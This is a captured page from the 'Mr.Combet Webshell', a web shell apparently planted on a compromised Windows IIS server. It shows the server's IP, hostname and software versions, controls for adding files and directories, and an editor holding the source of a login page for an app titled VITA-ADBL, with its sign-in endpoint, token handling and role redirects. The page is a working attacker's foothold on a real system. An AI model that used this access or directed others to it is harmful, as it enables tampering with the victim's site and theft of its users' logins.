Mr.Combet Webshell
Your IP :
216.73.216.136
Server IP :
103.233.58.157
Server :
Windows NT WIN-4PGF72KEHKB 10.0 build 17763 (Windows Server 2016) AMD64
Server Software :
Microsoft-IIS/10.0
PHP Version :
7.3.25
Add File :
Submit
Add Directory :
Submit
Dir :
C:
/
inetpub
/
wwwroot
/
VITA
/
Views
/
SignIn
/
Edit File Name :
Index.cshtml
@model RER_Project.DataAccess.ViewModels.Account.SignInInfo @{ Layout = null; } <!DOCTYPE html> <style> body { height: 100%; overflow: hidden; background-image: url('/Images/background.jpg'); background-repeat: no-repeat; background-size: cover; } .footer { height: 100%; /* column-count: 2;*/ display: flex; width: 100%; justify-content: space-between; } .footer-ifad { @*width: 90%; display: flex; justify-content: center;*@ width: 50%; display: flex; justify-content: end; } .footer-powerby { width: auto; justify-content: flex-end; } .footer-logo { display: flex; column-count: 2; column-gap: 4em; flex-wrap: wrap; flex-direction: row-reverse; } @@media screen and (max-width: 1024px ) { .footer-ifad { width: 5%; display: flex; justify-content: end; } .footer-powerby { width: 50%; justify-content: center; } .footer-logo { display: flex; column-count: 2; column-gap: 2em; flex-wrap: wrap; flex-direction: row-reverse; justify-content: end; } } </style> <html> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title> VITA-ADBL</title> <link href="/Scripts/datepicker/jquery-ui.min.css" rel="stylesheet"/> <link href="/Content/bootstrap.min.css" rel="stylesheet"/> <link href="/Content/plugins/awesome-bootstrap-checkbox/awesome-bootstrap-checkbox.css" rel="stylesheet"/> <link href="/Content/toastr/toastr.min.css" rel="stylesheet"/> <link href="/Content/toastr/loader.min.css" rel="stylesheet"/> <link href="/Content/animate.css" rel="stylesheet"/> <link href="/Content/style.css" rel="stylesheet"/> <link href="/fonts/font-awesome/css/font-awesome.min.css" rel="stylesheet"/> </head> <body class="gray-bg"> <div class="middle-box text-center loginscreen animated fadeInDown" style="min-width: 360px;"> <div> <form id="LogInForm" class="form-horizontal"> <img style="height:7em; width:7em" src="~/Images/Logo.png"> <h5> VITA-ADBL </h5> <hr /> @Html.ValidationSummary(true) <div id="eror_msg"></div> @ViewBag.Error_Msg <div class="form-group"> <div class="col-md-12"> <input type="hidden" name="DeviceType" value="PC" /> <input type="text" class="required form-control" name="Email" placeholder="email" /> </div> </div> <div class="form-group"> <div class="col-md-12"> <input type="password" class="required form-control" name="Password" placeholder="password" /> </div> </div> <br /> <div class="form-group"> <div class="col-md-12"> <input type="submit" id="SubmitButton" value="Log In" class="btn btn-primary btn-block" /> @* <a href="/MobileApp/">Download APK</a>*@ </div> </div> @*<div class="form-group"> <div class="col-md-12"> <span style="padding-bottom:4px"> Powered By:</span> <br /> <img width=50 height="50" src="~/Images/TN_Logo.png" /> </div> </div>*@ </form> </div> </div> <div class="footer" style="height:5em;"> <div class="footer-ifad"> <img src="~/Images/ifad-logo.jpg" class="ifad" style="height: 5em; transform:translate(80px,0px)" /><br /> </div> <div class="footer-powerby"> <span style="padding-bottom:4px; color:black; font-size:10px; "> Powered By:</span> <br /> <div class="footer-logo"> <img src="~/Images/pathway.png" style="height:2em;" /> <img src="~/Images/TN_Logo.png" style="height:2em;" /><br /> </div> </div> </div> <div class=" text-center animated fadeInDown" style="max-width: 360px;margin: 0 auto"> <br /> <button onclick="downloadAPK()" _target="blank" class="btn btn-primary btn-block"><i class="fa fa-download"></i> Download APK</button> </div> </body> </html> @Scripts.Render("~/bundles/jquery") @Scripts.Render("~/bundles/ajaxform") @Scripts.Render("~/bundles/app") @Scripts.Render("~/bundles/auth") <script type="text/javascript"> window.initializeSelectApis(); $("#SubmitButton").off("click").on("click", function () { debugger function request(model) { const url = "/user/sign-in"; const data = JSON.stringify(model); let a = window.getAjaxRequest(url, "POST", data); return a; } const form = $("#LogInForm"); $.validator.unobtrusive.parse(form); if (!form.valid()) { return false; } $(':input[type="submit"]').prop('disabled', true).val("Authenticating..."); const model = window.serializeForm(form); model.Email = model.Email.trim(); const ajax = request(model); ajax.done(function (response) { if (response) { debugger; localStorage.setItem("access_token", response.ClientToken); if (response.RoleId == 8) { window.location = "/female/members"; } else if (response.RoleId == 9) { window.location = "/mrc-mid"; } else if (response.RoleId == 10) { window.location = "/caseregistration"; } else if (response.RoleId == 5 || response.RoleId == 6 || response.RoleId == 7) { window.location = "/groups"; } else if (@*response.RoleId == 14 ||*@ response.RoleId == 12) { window.location = "/groups/supply_chain"; } else if (response.RoleId == 16 || response.RoleId == 11) { window.location = "/cooperatives"; } else if (response.RoleId == 19) { window.location = "/mrc-mid"; } else { window.location = "/dashboard"; } } else { $("#eror_msg").text("Access is Denied").addClass("text-danger"); } $(':input[type="submit"]').prop('disabled', false).val('Log In') }); ajax.fail(function (xhr) { $("#eror_msg").text("Access is Denied").addClass("text-danger"); $(':input[type="submit"]').prop('disabled', false).val('Log In') }); }) function downloadAPK() { window.open( 'https://vita.teamnext.com.np/Attachments/apk/VITA_ADBL.apk' ); } </script>
Save